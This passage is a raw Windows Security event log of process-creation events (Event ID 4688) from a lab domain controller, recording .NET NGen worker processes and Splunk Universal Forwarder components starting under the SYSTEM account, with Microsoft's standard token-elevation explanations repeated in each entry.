0x0 - -Process Information: - New Process ID: 0x10b4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 28c -InterruptEvent 0 -NGENProcess 260 -Pipe 268 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254731 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x102c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254734 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1090 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254733 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10ec - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1ac -InterruptEvent 0 -NGENProcess 2bc -Pipe 28c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254732 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x100c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2b4 -InterruptEvent 0 -NGENProcess 2b8 -Pipe 260 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254736 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254735 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x139c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254738 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf04 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254737 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1020 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254739 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12c4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254741 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe94 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2b8 -InterruptEvent 0 -NGENProcess 2a4 -Pipe 2b4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254740 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x940 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e4 -InterruptEvent 0 -NGENProcess 2bc -Pipe 2e8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254743 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb1c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2b8 -InterruptEvent 0 -NGENProcess 2d8 -Pipe 2b0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254742 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1008 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 280 -InterruptEvent 0 -NGENProcess 1d8 -Pipe 250 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:17 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254744 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 298 -InterruptEvent 0 -NGENProcess 27c -Pipe 288 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:21 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254745 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x904 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 290 -InterruptEvent 0 -NGENProcess 2e0 -Pipe 2a8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254746 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x133c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 294 -InterruptEvent 0 -NGENProcess 2c8 -Pipe 1d8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254748 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1380 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e4 -InterruptEvent 0 -NGENProcess 29c -Pipe 2d8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254747 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2a4 -InterruptEvent 0 -NGENProcess 2c4 -Pipe 264 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254752 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account 